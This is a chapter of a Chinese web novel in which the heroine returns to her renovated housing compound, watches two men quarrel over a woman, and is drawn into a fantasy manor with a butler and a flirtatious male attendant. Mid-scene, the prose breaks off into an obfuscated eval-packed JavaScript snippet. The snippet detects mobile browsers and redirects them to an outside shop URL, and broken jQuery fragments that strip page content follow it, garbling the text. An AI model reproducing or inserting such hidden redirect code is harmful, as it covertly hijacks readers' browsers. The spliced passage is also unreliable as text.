52. 一家之主1

作品:《废土庸医,上门义诊[无限]

    雁惊春离开和谐小区的时间并不长,但当她再次回到这里时,却发现整个小区已经焕然一新。


    斑驳的墙面被重新粉刷成了米黄色,道路两侧摆上了几盆人造绿植,老旧的大门被拆除重建。


    全新的“和谐小区”铭牌下方,还多出了一个显示屏,滚动播放着售楼广告:


    “和谐小区火热租售中!全面翻新,自带精装,家具齐全,拎包即住!现在购房可享8折优惠,名额有限,先到先得!”


    雁惊春盯着这条循环播放的广告看了一会儿,蓦地发出一声冷笑。


    自带精装?家具齐全?


    说得可真好听啊,明明房间里的硬装和软装都是前任房主留下的。


    如今他们被织茧者害死在了小区里,又被当成垃圾一般随意丢弃,他们使用过的东西反而保留了下来,为房产附加了更多价值,用以吸引其他人入住小区。


    她穿过大门往小区里走去,毫不意外地发现这里又恢复了从前的烟火气,只是那些吵嚷忙碌着的人都变成了陌生的面孔。


    她不信他们对小区中发生过的意外一无所觉——每家每户各不相同的装修和家具、一夜之间集体失踪的前任房主,足以令他们意识到,这里曾发生过一场大型事故。


    然而,那场事故没有落在他们身上,能触动他们的就只有下调了百分之二十的房价。


    前人的不幸成为了他们的幸运,于是无论这里曾发生过怎样的惨剧,他们都可以做到视而不见。


    雁惊春沉默着收回视线,不再四处张望,径直朝自己居住的3号单元楼走去。


    此时单元楼前不知怎地堵了一群人,正朝着人群中央指指点点。


    这场景似曾相识,她下意识放慢了脚步,目光挨个扫过围观群众的身形,在确认他们都是人类后才略松口气,继续上前。


    “麻烦让让,我要回家......”她还没来得及把话说完,一句叱骂便盖过了她的声音。


    “你个不要脸的东西,居然敢勾引我家女人!”


    此言一出,围观群众顿时兴奋地交头接耳起来,谁也没心思理她。


    雁惊春无奈,只得奋力挤开人群往里走去,这才发现说话的是个粧容浓艳的男人,他虽然瞧着已有三十多岁,但仍风韵犹存。


    只可惜他此时的表情太过扭曲刻薄,整体的魅力因此大打折扣。


    与浓粧男对峙的另一个男人则年轻许多,约莫只有二十出头。他身姿窈窕,衣着朴素,犹如一只受惊的小兔般一边向后瑟缩,一边怯怯地望着对方。


    站在雁惊春身旁的女人看得心生怜惜:“这老男人干嘛要欺负那个小男生?忮忌人家年纪小、长得俊?”


    女人身侧的男子本在聚精会神地看热闹,听了这话立即回神,扯着女人的衣袖拉回她的注意:“你可别他的外表迷惑了!他这身打扮是标准的好嫁风,一看就是个心机男!”


    男子的声音不小,位于人群中央的浓粧男听见了,怒气更甚:“好嫁风?你穿成这样来我家,就是盘算好了要踩着我上位吧!你这个贱货!”


    他发疯似的扑向对面,抬手就朝清纯男的脸上抓去。


    清纯男躲闪不及,被抓得脸上火辣辣地疼,当场破功,反手甩了浓粧男一耳光:“你有病啊,你知不知道这张脸对我有多重要!你要害死我吗?”


    浓粧男捂着脸冷笑:“你抢我的女人,不也是在逼我去死吗?”


    “谁抢你女人了!”清纯男见他还要上前,慌忙躲闪:“还不是因为你又老又矮又暴躁,根本没资格做配子!”


    “你女人想传宗接代,当然要选个合格的配子,总不能因为你是她的伴侣,就凑合着用你的劣质基因吧!”


    “原来又是配子跟伴侣之间的那点事。”旁边的女人听得直撇嘴,“没劲。”


    和她在一起的男子点头附和:“就是啊,真不知道这有什么好争的。他自己的基因不合格,没被抛弃就已经不错了,居然还阻拦女人找其他配子,这也太过分......”


    他话还没说完,就听浓粧男继续嚷道:“你的意思是你只想当个配子?那你干嘛要洗她的内裤!”


    男子“嘶”了一声,话锋登时一转:“不过这配子的行为确实有点越界了,难怪现任伴侣会这么生气。”


    他抱住女人的手臂:“亲爱的,你以后一定不会让其他配子洗你的内裤的,对吧?”


    “当然,你放心吧,都给你洗。”女人对眼前的热闹已然失去兴趣,随口哄完自家男人便拉着他往外走。


    围观群众随之散开了些许,雁惊春瞅准机会,立即钻出人群,走向堵住单元楼门口的两个男人。


    她双手各扶住一人的肩膀,强行将二人扯开:“别挡道。”


    在面对她时,这两个差点扭打起来的男人气势立时弱了不少,声音也低了下去:


    “啊,抱歉。”


    “不好意思。”


    雁惊春没理他们,自顾自踏上楼梯。


    男人闹起来真是没完没了,还好她是单身独居,在家时不会有其他人过来吵她。


    然而当她抵达三楼,看到自家虚掩的房门时,这种轻松的心情便戛然而止了。


    她记得谢臻曾经说过,他临走前替她锁好了家门。


    是他记错了吗?还是开发商把她的房子也当成了无主住宅,一并收回了?


    雁惊春蹙起眉头,下意识将手伸向门把,却又在下一刻止住了动作,转而抽出新申领的粒子枪,用枪托抵住门板,小心地将门推开。


    房间内的景象和她离开时一般无二,但她并未因此放松警惕,依旧紧握着手中的枪支,谨慎地迈入屋内。


    蓦地,她感觉自己踢到了什么东西,立即低头望去,就见一颗圆球正被她踢得“骨碌碌”朝前滚去。


    那枚圆球极不起眼,大概只有指甲盖大小......不对,应该是拳头大小......错了!是像人的脑袋那么大才对!


    雁惊春的大脑犹如被胶水糊住,思维的运转莫名滞涩,半晌才反应过来,不是她看错了球的尺寸,而是那颗球正在滚动的途中不断变大!<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188136|189941||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    与此同时,她的斜后方传来一句恭敬的问候:“家主,您辛苦了,欢迎回家。”


    她心头一跳,迅速转身,端着枪指向声音的来源。


    那里站着一名年近五十的陌生女人。


    她身上穿着古装剧中才会出现的管家套装,身姿笔挺,面容和善,即便被用枪指着也毫无异色,仍在用熟稔的语气搭话:


    “家主,您接下来打算做什么呢?是先用餐,先洗澡,还是先叫男人们出来陪您解解闷?”


    雁惊春不答反问:“你是谁?”


    女人微露讶色,仿佛雁惊春理应知晓她的身份。


    但她最终还是毕恭毕敬地回答:“家主,我是管家。负责统管您庄园中的各项事宜。”


    庄园?


    雁惊春不动声色地偏移视线,快速扫视了一遍四周,这才发觉她所处环境不知何时已发生巨变。


    狭小却温馨的客厅不见踪影,取而代之的是一间占地颇广、富丽堂皇的大厅。


    门外昏暗逼仄的走廊变成了一座赏心悦目的花园,无数珍稀的自然花草在其中争奇斗艳。


    ......不是吧,又来?


    她默默点亮光脑,瞄了眼行动组破茧专用程序。


    果然,她又进茧了。


    雁惊春不由心生无奈,和谐小区究竟是什么风水宝地,竟能吸引织茧者们前仆后继地来这里织茧?


    “明明还完全不觉得饿呢......”她小声嘀咕一句,放下了枪:“说说吧,我这次的任务是什么?经营庄园?和其它家庭成员打好关系?还是像你刚刚说得那样,吃饭洗澡玩男人?”


    管家纹丝不动地等她把话说完,脸上倏而浮现出诚惶诚恐的神情,朝她深鞠一躬:“家主,我决没有要求您做事的意思,无论您想做什么都请尽管吩咐我,我一定尽心尽力......啊。”


    它的声音突然止住,犹如被按下了暂停键般一动不动地望向上方。


    雁惊春狐疑地顺着它的视线扭头看去,就见螺旋形的扶梯上出现了一个乌发雪肤的美男。


    他浑身湿透,水珠顺着发尾流淌到脸颊上,又自下颌处滴落,没入衣襟。被浸湿的半透明衬衫紧贴着他的身躯,清晰地勾勒出他性感诱人的身材。


    “哎呀,家主,您回来啦。”他做作地掩了下嘴,“我刚刚在玩球呢,没想到球不小心滚下楼了,您有看到吗?”


    雁惊春闻言看了看被她踢开的那颗球,又打量一番在楼梯上凹造型的美男:“你该不会想说,你湿成这样是玩球玩的吧?”


    “是呀,家主您真懂我~”美男笑靥如花,赤脚踩在楼梯上,向她款款走来。


    雁惊春面无表情地后退一步:“哦,那你还挺爱出汗的。我讨厌汗臭味,你赶紧去洗个澡吧。”


    美男脸上的笑容僵住了。


    雁惊春:“还有,你是谁来着?”


    “家主,你不记得我了吗?”美男痛心地捂住胸口,泫然欲泣:“我是男侍乙呀!”


    雁惊春:“......哈?”